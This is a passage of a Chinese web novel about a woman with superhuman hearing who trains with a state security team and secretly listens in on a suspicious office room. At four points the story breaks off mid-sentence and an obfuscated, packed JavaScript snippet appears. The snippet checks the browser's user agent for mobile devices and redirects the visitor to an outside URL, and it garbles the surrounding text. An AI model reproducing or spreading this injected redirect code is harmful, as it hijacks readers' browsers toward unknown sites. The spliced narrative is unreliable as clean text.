她尝试控制,把大部分声音调成背景音,只专注于包厢里的谈话。 成功了。 但维持这种状态很累。 就像一边吃饭一边做数学题,大脑在多线程工作。 一顿饭吃完,她感觉比训练还累。 八点半,聚餐结束。 大家陆续离开。 杨晓晓站在餐厅门口等张磊,听到身后两个同事在低声聊天。 “你说李姐走了,谁会接她的位置?” “我看好王姐,她资历老。” “不一定,刘总可能想空降自己的人。” “那咱们部门又要动荡了……” 杨晓晓没再听下去。 这些职场斗争,现在离她很远了。 她现在有更大的“战场”。 张磊的车来了。 上车后,她瘫在后座。 “累了?”张磊问。 “嗯。”杨晓晓闭着眼,“聚餐比训练还累。” “正常。”张磊笑了,“双重身份都这样。以后你会习惯的。” “希望吧。” 车子开往训练基地。 杨晓晓看着窗外的夜景,忽然想: 如果有一天,她的任务结束了,身份暴露了,还能回到这样的“普通”生活吗? 和同事聚餐,吐槽上司,担心绿萝死活…… 她不知道。 但她知道,现在,她必须走下去。 因为别无选择。 也因为她想……弄清楚真相。 想保护自己。 想变得强大。 这是她的路。 再累,也要走完。 13. 第一次“合法窃听” 晚上九点,训练室。 杨晓晓换上训练服,站在陈树面前,眼睛还有点发直——川菜馆的麻辣劲儿还没过去。 “聚餐吃得怎么样?”陈树问。 “挺好的。”杨晓晓老实说,“就是……有点累。要一边控制听力,一边应付同事,比训练还耗神。” “慢慢就习惯了。”陈树递给她一瓶水,“今天训练内容比较简单:复盘。” “复盘?” “对。”陈树打开平板,“把你今天在深蓝科技听到的所有关于304的声音,完整回忆一遍,告诉我细节。包括时间、声音类型、持续时间、你的感受。” 杨晓晓接过水,喝了一口,然后开始叙述。 从上午去三楼“路过”,到下午送文件时的监听,再到听到的楼板震动…… 她尽量说得详细,连自己当时的心跳加速、手心出汗都说了。 陈树安静地听着,在平板上记录。 等她说完,他抬起头:“做得不错。尤其是注意到楼板震动这个细节,很敏锐。” “那震动……是什么?”杨晓晓问。 “还在调查。”陈树说,“二楼仓库我们检查过,没有大型设备。但建筑结构图显示,304正下方确实有一个老旧的通风管道井,可能是那里传来的震动。” “通风管道井?”杨晓晓皱眉,“那里会有什么?” “可能什么都没有,也可能……藏了东西。”陈树看着她,“这就是你的任务:弄清楚。” 他顿了顿:“从明天开始,你每天下班后,用十分钟时间‘监听’304。不用去三楼,就在你的工位,或者其他安全的地方。记录任何异常声音,发给我。” “每天都要?”杨晓晓问。 “每天。”陈树点头,“直到我们弄清楚那里有什么,或者……对方暴露。” 杨晓晓点点头。 她知道这意味着什么。 长期监听,随时可能有危险。 但她没得选。 “另外,”陈树说,“从明天开始,你要开始一项新训练:声音回溯。” “声音回溯?” “就是尝试‘听’到过去的声音残留。”陈树解释,“理论上,声音会在空间中留下微弱的‘印记’,虽然很快消散,但如果听力足够敏锐,可以捕捉到一些片段。” 杨晓晓睁大眼睛:“这……可能吗?” “很难,但有些感知类能力者能做到。”陈树说,“你的听力数据很漂亮,可以试试。如果能成功,也许能‘听’到304之前发生过什么。” 听起来很科幻。 但杨晓晓现在的生活,本来就很科幻。 “我试试。”她说。 “好,那今晚就先练这个。”陈树带她到训练室的一个角落,那里有个小房间,门关着。 “这个房间一小时前,有人进行了一段对话。”陈树说,“你现在进去,尝试‘听’到残留的声音。不用压力太大,就当练习。” 杨晓晓推门进去。 房间很小,只有一把椅子,空荡荡的。 她坐下,闭上眼睛,集中注意力。 一开始,只有寂静。 她努力“倾听”。 不是听现在的声音,而是听……过去的回声。 这很难形容,就像在黑暗中摸索,寻找那些已经消散的波动。 一分钟,两分钟,三分钟…… 什么都没有。 她有点焦躁。 “放松。”陈树的声音从外面传来,“别用力过猛。想象你在听很远、很轻的声音,把‘听力’调到最敏感的状态。” 杨晓晓深呼吸,尝试放松。 她想象自己的听力像一张网,撒向时间的河流,捕捉那些已经流走的声音碎片。 又过了几分钟。 她好像……听到了什么? 极其微弱,像是隔着几层玻璃的说话声。 断断续续,听不清内容。 她努力聚焦。 “……测试……通过……” 一个男声,模糊不清。 “……下一个阶段……” 另一个声音,更模糊。 然后,没了。 她睁开眼,满头大汗。 “怎么样?”陈树推门进来。 “好像……听到了一点。”杨晓晓不确定地说,“‘测试通过’‘下一个阶段’……就这些,很模糊。” 陈树眼睛一亮:“时间呢?能判断是什么时候的声音吗?” “判断不了。”杨晓晓摇头,“就像……回声,没有时间感。” “正常。”陈树在平板上记录,“第一次尝试就能捕捉到片段,已经很不错了。很多人练几个月都听不到。” 他顿了顿:“这个能力如果开发出来,会很有用。比如犯罪现场,你可以‘听’到之前发生的对话。或者监视点,可以了解目标之前的活动。” 杨晓晓想象了一下那个场景。 确实……很厉害。 但也很难。 “今天先到这里。”陈树看了眼时间,“明天开始,每天加练半小时声音回溯。另外,304的监听不能断。” “明白。” 训练结束,张磊送她回宿舍。 路上,杨晓晓靠着车窗,累得不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191453|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话。 “听说你在练声音回溯?”张磊问。 “嗯。”杨晓晓有气无力,“太难了。” “是难,但练出来就是大杀器。”张磊说,“我们队里以前有个老前辈,能‘听’到三天内的声音残留,破了好几个悬案。” “后来呢?” “后来……”张磊顿了顿,“退休了。能力用多了伤神,他年纪大了,撑不住。” 杨晓晓沉默。 所以能力不是白给的,有代价。 “别想太多。”张磊说,“你还年轻,慢慢练,控制好使用频率就行。” 回到宿舍,已经十一点了。 杨晓晓洗完澡,瘫在床上。 脑子里还在回放今天的种种:304的监听、聚餐的嘈杂、训练室的回声…… 太多信息。 她需要消化。 闭上眼睛,她尝试“听”向宿舍楼外。 声音涌来,但被隔音材料过滤后,温和了许多。 她听到楼上有人在看电视,声音开得很小。 听到隔壁情侣在低声说话,情意绵绵。 听到远处街道上,晚归的车辆驶过。 这些声音,平凡,温暖。 她忽然想,如果没有能力,没有坠楼,她现在应该也是这样吧? 普通上班,普通生活,普通烦恼。 但回不去了。 她睁开眼睛,盯着天花板。 那就向前走。 带着这双特别的耳朵,走出一条特别的路。 虽然不知道通向哪里。 但至少,她在走。 这就够了。 她睡着了。 梦里,有模糊的声音在回响。 “……测试……通过……” “……下一个阶段……” 还有那个冰冷的:“目标已清除。” 她猛地惊醒。 凌晨三点。 房间里一片黑暗。 她坐起来,喘着气。 那个梦……太真实了。 像是记忆的回响,又像是预兆。 她下床,走到窗边,看着外面的夜色。 城市睡了,但总有醒着的人。 比如她。 比如304里那个神秘的存在。 比如那个说“目标已清除”的人。 她不知道未来会怎样。 但她知道,她必须弄清楚。 为了活下去。 为了……不再做这样的梦。 她回到床上,重新躺下。 这次,她没再做梦。 一觉到天亮。 14. 茶水间的秘密情报网 周五早上,杨晓晓走进办公室时,感觉气氛有点微妙。 王姐一看到她,就使了个眼色,示意她看李姐的办公室。 门关着,但里面隐约传来说话声。 不是李姐平时那种甜腻的腔调,而是……压抑的愤怒? “什么情况?”杨晓晓小声问。 “刘总在里面。”王姐压低声音,“听前台小美说,刘总早上一来就直接进了李姐办公室,脸色很难看。” 杨晓晓心里一动,集中注意力“听”过去。 但办公室的隔音做得不错,只能听到模糊的对话片段。 “……你这样让我很难做……”刘总的声音。 “……我也有我的考虑……”李姐的声音,有点冷。 “……星耀那边……不地道……” “……这是我的选择……” 然后声音低了下去,听不清了。 杨晓晓收回注意力。 看来李姐跳槽的事,让刘总很不满。 也是,培养八年的得力干将,说走就走,还跳槽到竞争对手那里,换谁都不爽。 但这不是她该操心的事。 她坐到工位,打开电脑,开始处理工作。 上午十点,李姐办公室的门开了。 刘总走出来,脸色铁青,看都没看其他人,径直走了。 李姐随后出来,表情平静,但眼神有点冷。 “晓晓,来一下。”她叫了杨晓晓。 杨晓晓走进办公室。 “把门关上。”李姐说。 门关上了。 李姐坐在办公桌后,揉了揉太阳穴,然后看着杨晓晓:“下周三的客户接待,你全权负责。” 杨晓晓一愣:“我?全权?” “对。”李姐点头,“我下周开始交接工作,可能没那么多精力跟进。你做事认真,交给你我放心。” “可是李姐,这么重要的接待,我经验不够……” “经验都是练出来的。”李姐打断她,“这次做好了,以后这种级别的接待你都可以接。对你以后发展有好处。” 杨晓晓明白了。 这是李姐临走前,给她的一份“礼物”。 一次表现机会。 “谢谢李姐,我一定做好。” “嗯。”李姐顿了顿,“另外……如果以后我不在了,你自己多留个心眼。职场没那么简单,尤其是咱们这种大公司,水很深。” 这话说得有点意味深长。 杨晓晓点头:“我记住了。” 回到工位,她还在琢磨李姐的话。 “水很深”…… 是指职场斗争?还是另有所指? 她摇摇头,不想了。 先把手头的事做好。 中午吃饭时,茶水间成了情报集散中心。 几个同事聚在那里,一边热饭一边八卦。 “听说没?刘总要把李姐手里的项目全部分出去,不让她带走任何资源。” “这也太狠了吧?李姐好歹干了八年。” “职场就这样,人走茶凉。” “不过李姐也不怕,星耀那边开价高,去了就是总监级别。” “但咱们公司这边……会不会卡她离职手续?” “有可能,刘总那人,你知道的,心眼小……” 杨晓晓端着饭盒走过去,大家立刻换了话题。 “晓晓来啦?听说李姐把大客户接待交给你了?” “嗯。”杨晓晓坐下,“压力好大。” “没事,好好干,这是个机会。” “对了晓晓,你男朋友是做什么的?”忽然有人问。 杨晓晓一愣:“我……没男朋友。” “不会吧?你这么漂亮,没男朋友?” “真的没有。” “那要不要我介绍?我表弟在国企,人不错……” 杨晓晓赶紧摇头:“不用不用,我现在工作忙,没时间谈恋爱。” “也是,咱们这行,忙起来连饭都吃不上,哪有时间谈恋爱。” 大家笑了。 杨晓晓也跟着笑,但心里却在想别的事。 这种普通的、琐碎的、充满烟火气的聊天,她还能享受多久? 她现在的生活,已经和“普通”渐行渐远了。 吃完饭,她回工位午休。 闭上眼睛,她“听”了一下304。 安静。 但那种极低频的震动,又出现了。 很微弱,持续了几分钟,然后消失。 她记下时间:下午一点二十。 然后她“听”向茶水间——那里又有人了。 这次是财务部的小张和销售部的小李,压低了声音在说话。 “……昨晚的电影好看吗?”小李问。 “好看。”小张声音带着笑,“就是爆米花吃太多了,今天胃有点不舒服。” “那今晚去吃清淡的?我知道一家粥店不错。” “好啊。” 杨晓晓听出来了——这俩在谈恋爱。 而且是地下恋情,公司规定不允许同部门恋爱,所以他们一个财务一个销售,不在一个部门。 她笑了笑,收回注意力。 不该听的。 但能力就是这样,像呼吸,自然而然。 她又“听”到保洁阿姨在楼梯间哼歌,调子轻快。 “今天是个好日子……” 阿姨的儿子考上重点高中了,她这几天心情都很好。 还“听”到刘总在办公室打电话,声音压得很低。 “……老婆,我今晚真的加班……不是,是接待……对对,很重要……你别生气……” 杨晓晓忍俊不禁。 刘总又被他老婆训了。 听说刘总老婆是律师,厉害得很,刘总在家地位堪忧。 这些八卦,零零碎碎,拼凑出公司的人间百态。 以前她从来不知道,原来身边有这么多故事。 现在,她被迫成为“知情者”。 知道太多,其实挺累的。 尤其是听到一些不该听的。 比如,她“听”到研发部两个工程师在讨论技术问题,涉及一些她听不懂的术语和代码。 比如,她“听”到市场部在讨论如何“美化”数据,让报告更好看。 比如,她“听”到人力资源在讨论裁员名单…… 这些信息,有的有趣,有的沉重,有的……让她感到不适。 但她不能表现出来。 她必须像个普通的行政助理,每天处理琐事,关心午饭吃什么,吐槽工作太多。 这就是她的“掩护”。 下午,王姐又来找她。 “晓晓,你知道三楼304那边,最近有什么动静吗?” 杨晓晓心里一紧:“怎么了?” “我听说,保安部那边接到好几次报告,说304有怪声。”王姐压低声音,“但每次去查,又什么都没有。你说……会不会是闹鬼?” 杨晓晓哭笑不得:“王姐,这都什么年代了,还信这个?” “不然怎么解释?”王姐说,“我听说,那间会议室自从半年前装修后,就没人用过。但老有声音,不是闹鬼是什么?” “可能……是老鼠?”杨晓晓说,“或者管道声音?” “也许吧。”王姐耸耸肩,“反正我晚上不敢一个人去三楼。” 杨晓晓心里记下了这个信息。 不止她一个人注意到304异常。 保安部也知道。 这说明,那个“东西”可能不是一直静默,偶尔会活动到被普通人察觉的程度。 下班前,她给陈树发了加密消息: “今日304安静,但下午1:20再次出现极低频震动,持续约3分钟。另,同事间传言304‘闹鬼’,保安部多次接到异常报告。” 陈树很快回复:“收到。继续观察。传言可能是对方故意散布,混淆视听。” 杨晓晓一愣。 故意散布谣言? 为了掩盖真正的活动? 有可能。 如果大家都觉得304“闹鬼”,那么偶尔听到怪声,也不会深究,只会当成灵异事件。 好手段。 下班后,她没有立刻走。 而是留在工位,开始今天的“监听任务”。 集中注意力,定向304。 十分钟。 前五分钟,安静。 第六分钟,她听到了。 不是设备声,不是呼吸声。 而是……极其轻微的、像是纸张摩擦的声音? 沙沙沙…… 很慢,很有规律。 像是在翻页,或者……在写什么? 她努力听清细节。 沙沙……停顿……沙沙…… 持续了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191454|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大约两分钟,然后停止。 接着,是电子设备启动的“滴”声,很短促。 然后,一切归于寂静。 杨晓晓记下时间、声音类型、持续时间。 然后收拾东西下班。 张磊的车已经在楼下等着了。 “今天怎么样?”他问。 “有收获。”杨晓晓说,“听到纸张摩擦声,还有电子设备启动声。” 张磊从后视镜看了她一眼:“陈队说,你进步很快。” “是吗?”杨晓晓有点高兴。 “嗯,一般新人第一次出监听任务,都会紧张得手忙脚乱。你挺稳的。” 杨晓晓笑了笑。 她其实也紧张,手心都是汗。 但她知道,不能慌。 慌了,就听不清了。 回到训练基地,她向陈树详细汇报了今天的发现。 陈树认真记录,然后说:“纸张摩擦声……可能是在记录什么,或者传递情报。电子设备启动声,可能是通讯设备,或者数据传输设备。” 他顿了顿:“对方很谨慎,每次活动时间都很短,而且声音极轻。如果不是你听力超常,根本捕捉不到。” “那我们现在……怎么办?”杨晓晓问。 “继续监听,积累数据。”陈树说,“等我们摸清他的活动规律,再决定下一步。” “会不会……打草惊蛇?” “所以你要小心。”陈树严肃地说,“监听时,尽量不要靠近304。就在工位,或者安全距离外。你的听力半径足够,没必要冒险。” “明白。” “另外,”陈树看着她,“从明天开始,你要开始一项新训练:声音模拟。” “声音模拟?” “就是尝试模仿你听到的声音。”陈树说,“比如你听到的键盘敲击声、纸张摩擦声、电子设备声……试着在脑子里‘复现’它们,然后分析可能是什么设备发出的。” “这……有什么用?” “可以帮你更准确地判断对方在做什么。”陈树说,“比如,不同的键盘敲击声,可能对应不同的设备。老式机械键盘和笔记本薄膜键盘,声音完全不同。如果你能分辨,就能获得更多信息。” 杨晓晓明白了。 这是进阶技能。 “我试试。” “慢慢来,不急。”陈树说,“先把你今天听到的纸张摩擦声,在脑子里回放几遍,记住那种质感。” 杨晓晓闭上眼睛,努力回忆。 沙沙沙…… 缓慢,有规律,像是……在纸上写字? 不,更像是在翻页。 对,是翻页的声音。 纸页摩擦的细微声响。 她睁开眼睛:“像是……在翻看文件?” “有可能。”陈树点头,“继续观察,看这个声音会不会重复出现。如果重复,说明可能是常规动作。” 训练结束,回宿舍。 杨晓晓躺在床上,脑子里还在回放那些声音。 纸张摩擦,电子设备启动,极低频震动…… 这些碎片,能拼出什么图案? 她不知道。 但她知道,她在靠近真相。 一步一步。 虽然慢,但稳。 这就够了。 她闭上眼睛,准备睡觉。 临睡前,她忽然想: 那个隐藏在304的人,现在在做什么? 也在监听吗? 也在寻找什么吗? 他们会不会……在某个层面,是同类? 都是潜伏者,都是观察者,都在暗处。 不同的是,她在明处有掩护。 而他,可能没有。 或者……他的掩护,更深? 她不知道。 但她知道,这场无声的较量,已经开始了。 而她,必须赢。 为了活下去。 为了弄清楚,那个说“目标已清除”的人,到底是谁。 为了……不再活在恐惧里。 她深吸一口气,睡着了。 这一次,梦是安静的。 只有细微的纸张摩擦声,在遥远的地方回响。 沙沙沙…… 像是在翻看一本厚重的书。 书里写着什么? 她不知道。 但她会弄清楚的。 一定。 15. 体能课:我与跑步机的战争 周三晚上七点,国安局地下二层,综合训练馆。 杨晓晓穿着那套深蓝色训练服,站在一排锃亮的跑步机前,觉得自己像个即将上刑场的囚犯。 “第一次体能测试,现在开始。” 说话的是今晚的教官,一位三十岁左右的女性,代号“铁鹰”。她留着利落的短发,身材精干,眼神锐利得像能穿透人心。据说她曾是特种部队的格斗教官,转业后来了这里。 “第一项,耐力测试。”铁鹰指了指跑步机,“速度设定为8公里每小时,坡度3%,时间15分钟。坚持不住可以按停止,但成绩会记录在案。” 杨晓晓看着跑步机上闪烁的数字,咽了口唾沫。 8公里每小时……她平时追公交车跑几步就喘,现在要持续跑15分钟? “教官……”她弱弱地举手,“这个速度……能不能调低点?” 铁鹰看了她一眼:“这是最低标准。如果连这都达不到,遇到危险时,你连逃跑的体力都没有。” 杨晓晓闭嘴了。 “准备好就开始。”铁鹰按下计时器。 杨晓晓踏上跑步机,握住扶手。 机器启动,速度逐渐提升。 一开始是快走,还好。 然后变成慢跑,她调整呼吸。 两分钟后,速度稳定在8公里每小时。坡度缓缓抬升到3%。 杨晓晓的呼吸开始急促。 她能听到自己心脏狂跳的声音,血液冲刷耳膜的声音,还有……铁鹰在一旁记录的声音。 “姿势不对,肩膀放松。”铁鹰说。 她努力调整。 “呼吸乱了,两步一吸两步一呼。” 她努力控制。 三分钟,她的腿开始发酸。 五分钟,肺像在燃烧。 七分钟,汗水浸湿了训练服,额头上的汗滴进眼睛,刺痛。 她透过跑步机前的镜子,看到自己通红的脸、散乱的头发、还有那种“我要死了”的表情。 “坚持。”铁鹰的声音平静,“还有八分钟。” 八分钟? 像八年那么长。 她脑子里开始冒出各种念头: 我为什么要签那个合同? 我为什么不好好当个行政助理? 我为什么…… “注意呼吸!”铁鹰的声音把她拉回现实。 她大口喘气,感觉每一步都像踩在棉花上。 十分钟。 她的意识开始模糊。 只能听到自己的心跳:咚、咚、咚,像擂鼓。 还有跑步机的履带转动声:唰、唰、唰,像催命符。 “最后五分钟。” 铁鹰报时。 杨晓晓咬紧牙关。 她想起电梯坠落时的绝望。 想起在医院被声音淹没的崩溃。 想起决定来国安局时的勇气。 不能在这里倒下。 不能。 她盯着镜子里的自己,用尽全力挤出一个扭曲的笑容。 “问题……不大……” 声音小得像蚊子哼哼,但铁鹰听到了。 这位一向严肃的教官,嘴角似乎弯了一下。 十三分钟。 杨晓晓感觉腿已经不是自己的了,机械地迈步。 十四分钟。 眼前开始发黑。 “最后三十秒!” 铁鹰的声音像从很远的地方传来。 杨晓晓闭上眼,凭本能坚持。 “时间到!” 跑步机速度开始下降,坡度归零。 杨晓晓松开扶手,整个人瘫倒在地,大口喘气,感觉心脏快要跳出胸腔。 铁鹰蹲下来,递给她毛巾和水。 “成绩:15分钟,速度8公里每小时,坡度3%,完成。”她在平板上记录,“虽然姿势难看,呼吸混乱,表情痛苦……但完成了。” 杨晓晓连说话的力气都没有,只能点头。 “休息五分钟,然后做力量测试。” 接下来的一个小时,杨晓晓经历了人生中最全面的体能测试。 握力测试:她拼尽全力,指针勉强过了“及格”线。 臂力测试:她一个引体向上都做不起来——不,是连把自己吊起来的力气都没有。 背力测试:勉强合格。 腿力测试:意外的还可以,可能是平时走路多。 仰卧起坐:一分钟做了28个,及格线是30个,差两个。 俯卧撑:标准的一个都做不起来,膝盖着地的“跪姿俯卧撑”做了15个,不及格。 平板支撑:坚持了1分20秒,垮了。 “综合评分:D-。”铁鹰看着最终数据,语气平静,“需要系统训练。从下周开始,每周一、三、五晚上,体能训练两小时。” 杨晓晓瘫坐在地上,浑身湿透,像从水里捞出来的。 “教官……”她气若游丝,“我的能力……主要是听力……体能……真的那么重要吗?” 铁鹰收起平板,看着她:“你觉得呢?” “我觉得……脑力劳动……比较重要……” “错。”铁鹰蹲下来,和她平视,“听好了,杨晓晓。你的能力很强,但使用能力需要消耗大量精神力。而精神力的基础,是体力。你体力不行,持续监听十分钟就累趴下,关键时刻掉链子,会害死你自己,也会害死队友。” 她顿了顿:“而且,体能训练不只是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191455|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了耐力。是为了让你有逃命的力气,有躲闪的反应,有在危险环境中生存的基本能力。” 杨晓晓沉默。 “我知道你觉得累,觉得苦。”铁鹰站起来,“但这就是我们的工作。我们面对的不是普通罪犯,是可能有特殊能力、有武器、有组织的对手。你弱,你就死。就这么简单。” 她说得直白,残酷。 但真实。 杨晓晓深吸一口气,撑着地面站起来。 腿还在抖,但她站住了。 “我明白了,教官。” “明白就好。”铁鹰难得露出一丝温和,“去冲个澡,然后去2号会议室上理论课。” “还……还有课?” “当然。”铁鹰挑眉,“你以为我们只练肌肉不练脑子?” 杨晓晓:“……” 洗澡的时候,热水冲在酸痛的肌肉上,她差点舒服得呻吟出来。 训练馆的浴室很简陋,但水压够大,水温够热。 换好干净衣服,她按照指示找到2号会议室。 推门进去,里面已经坐着几个人。 雷昊——那个指尖冒电火花的少年,正低着头打游戏,手机屏幕噼里啪啦闪着微弱的电光。 林墨——存在感薄弱的穿墙能力者,坐在角落,几乎要和阴影融为一体。 还有一个没见过的女生,大概二十五六岁,气质温婉,正在安静地看书。 “晓晓,这边。”陈树招手。 杨晓晓走过去坐下。 “介绍一下。”陈树说,“这是苏青禾,代号‘百灵’,声音模仿和情绪影响能力者。以后可能是你的队友。” 苏青禾抬起头,对杨晓晓微微一笑:“你好。” 她的声音很柔和,听起来让人很舒服。 “你、你好。”杨晓晓回应。 “雷昊和林墨。”陈树继续说,“他们也是这期的新人,虽然比你早来几个月。” 雷昊头也不抬:“等我打完这局……啊死了!” 他懊恼地放下手机,看向杨晓晓:“你就是那个听力特别好的?能听到我手机里游戏音效吗?” 杨晓晓点点头:“能。” “牛啊。”雷昊眼睛一亮,“下次帮我听听敌人从哪个方向来?” “雷昊。”陈树敲了敲桌子,“先上课。” 雷昊缩了缩脖子,老实了。 “今天理论课的内容是:《超常能力分类与基础应用》。”陈树打开投影,PPT出现。 第一页是能力分类图。 杨晓晓看着那些陌生的名词和复杂的图表,忽然觉得……体能训练好像也没那么可怕了? 至少,跑步机不会让她头疼。 而理论课……会。 16. 理论课开小差被抓 理论课比杨晓晓想象的还难。 不是因为内容深奥——虽然确实很深奥——而是因为她很难集中注意力。 陈树在讲台上讲解能力分类体系: “目前国际通用的分类法,主要基于能力的作用方式和影响范围。比如感知类能力,又分为视觉强化、听觉强化、嗅觉强化、触觉强化,以及综合感知……” 他的声音平稳清晰。 但杨晓晓听到的,不止是他的声音。 她还听到: 隔壁训练馆,有人在做引体向上,粗重的喘息声。 楼上办公室,有人在敲键盘,噼里啪啦。 走廊外,两个工作人员在聊天:“食堂今晚有红烧肉。”“真的?那得早点去。” 更远的地方,城市的声音像背景音乐,隐隐约约传来。 她努力集中注意力,但那些声音像调皮的孩子,不断拉扯她的意识。 “……听觉强化能力者,根据作用半径和精度,又分为几个等级……”陈树继续讲。 杨晓晓的注意力飘向了窗外——虽然这里没有窗,但她的“听力”有。 她听到两条街外,一对夫妻在吵架。 “今天是我们结婚纪念日!你又忘了!”女人的声音带着哭腔。 “我、我加班太忙了……”男人辩解。 “加班加班!你心里根本就没有我!” “我怎么没有了?我这不是回来了吗?” “回来有什么用?连束花都没有!” “我现在去买……” “不用了!晚了!” 吵架声很生动,很生活。 杨晓晓不知不觉“听”了进去,甚至在心里点评:这男人也太粗心了,结婚纪念日都能忘,难怪老婆生气…… “杨晓晓。” 陈树的声音突然响起。 她猛地回神,发现陈树正看着她,教室里其他三个人也看着她。 “啊?”她下意识应道。 “我刚才讲了什么?”陈树问。 杨晓晓脑子一片空白。 她刚才……在听隔壁夫妻吵架。 “呃……讲了……能力分类?”她试探着说。 “具体点。” “听觉强化……分等级?” “分几个等级?标准是什么?” 杨晓晓:“……” 她答不上来。 陈树叹了口气:“开小差了?” 杨晓晓低下头:“对不起……” “你刚才在听什么?”陈树问。 “隔壁……夫妻吵架。”杨晓晓老实交代。 雷昊“噗”一声笑了。 林墨从阴影里探出头,又缩回去。 苏青禾轻轻摇头。 “听力太好,控制不住?”陈树问。 “嗯……”杨晓晓声音很小,“那些声音……会自动往我脑子里钻。” “我理解。”陈树说,“但你必须学会控制。尤其是在上课、开会、执行任务的时候。如果连基本的注意力都维持不了,你的能力就不是优势,是累赘。” 杨晓晓脸红了。 “这样吧。”陈树说,“今晚加练。练的就是‘在干扰中集中注意力’。” “怎么练?”杨晓晓问。 “等下课再说。”陈树重新转向投影,“现在,我们先继续上课。杨晓晓,如果你再开小差,加练时间翻倍。” 杨晓晓立刻坐直,努力集中注意力。 接下来的半小时,她拼命抵抗那些声音的诱惑。 像在脑子里建一堵墙,把无关的声音挡在外面。 很难。 非常难。 但她做到了——至少大部分时间做到了。 下课的时候,她感觉比跑完步还累。 脑力消耗,原来这么可怕。 “其他人可以回去了。”陈树说,“杨晓晓留下。” 雷昊拍拍她的肩:“加油啊,顺风耳。” 林墨小声说:“其实……我也经常开小差。” 苏青禾微笑:“慢慢来,别急。” 三个人走了,教室里只剩下杨晓晓和陈树。 “走吧。”陈树拿起外套。 “去哪儿?”杨晓晓问。 “天台。” 国安局大楼的天台,视野开阔。 夜晚的城市灯火璀璨,车流如织,风吹过来,带着初冬的凉意。 “今晚的训练很简单。”陈树说,“从城市噪音里,找出五只猫叫、三个婴儿哭声,和一辆刹车有问题的自行车。” 杨晓晓一愣:“这……怎么找?” “用你的能力。”陈树说,“但这次不是无目的地听,是有目标地筛选。你要在成千上万的声音中,精准定位那几个特定的声音。” 他顿了顿:“这是训练你的信息筛选能力和注意力集中能力。开始吧。” 杨晓晓闭上眼睛,开始“听”。 声音涌来。 车流声、人声、商店音乐、工地施工、狗叫、鸟鸣、风声…… 太多了。 她先找猫叫。 猫的叫声比较有特点:尖细,短促,有时带点撒娇的腔调。 她“扫描”着城市的声音海洋。 找到了! 东边,大概一公里外,有只猫在叫:“喵——” 接着是西边,两只猫在对叫:“喵!”“喵呜!” 南边,一只猫在惨叫,可能是被打扰了。 北边……也有。 很快,她找到了五只猫叫。 然后找婴儿哭声。 婴儿的哭声更尖锐,更有穿透力,而且通常伴随着大人的哄劝声。 她继续“扫描”。 第一个:在某个居民楼里,哭得很响亮。 第二个:在更远的地方,声音有点模糊。 第三个……等等,这个声音有点怪? 她仔细分辨。 哭声很真实,但背景音……有电视节目的声音? 她聚焦过去。 听到一个女声在说:“宝宝不哭,妈妈在这里……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191456|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 然后另一个声音:“这段拍得不错,保持情绪。” 杨晓晓睁开眼:“第三个婴儿哭……是电视剧里的?” 陈树挑眉:“发现了?” “嗯,背景有导演喊话的声音。” “不错。”陈树点头,“这说明你开始注意细节了。继续,找刹车有问题的自行车。” 这个更难。 自行车刹车声本来就小,混杂在城市噪音里,几乎听不见。 杨晓晓全神贯注。 她把其他声音调成背景音,专注于寻找那种特殊的“吱——”声。 一分钟,两分钟,三分钟…… 她听到了! 在两条街外,有人骑着一辆共享单车,刹车时发出刺耳的摩擦声。 “找到了!”她睁开眼,“在东南方向,大概八百米,共享单车,前刹有问题。” 陈树看了看手表:“用时十二分钟。成绩:及格。” 杨晓晓松了口气。 “但问题还在。”陈树说,“你找这些声音时,还是会被其他声音干扰。我看到你皱眉了好几次,说明有些声音让你分心了。” 杨晓晓承认:“有些吵架声……会忍不住听。” “这就是你要克服的。”陈树说,“以后每天晚上,加练半小时这个项目。我会给你不同的‘目标声音’,你要在越来越复杂的噪音环境中找到它们。” “每天?”杨晓晓声音发苦。 “每天。”陈树肯定地说,“直到你能在菜市场级别的噪音中,精准定位五十米外的耳语。” 那得练到什么时候? 杨晓晓不敢想。 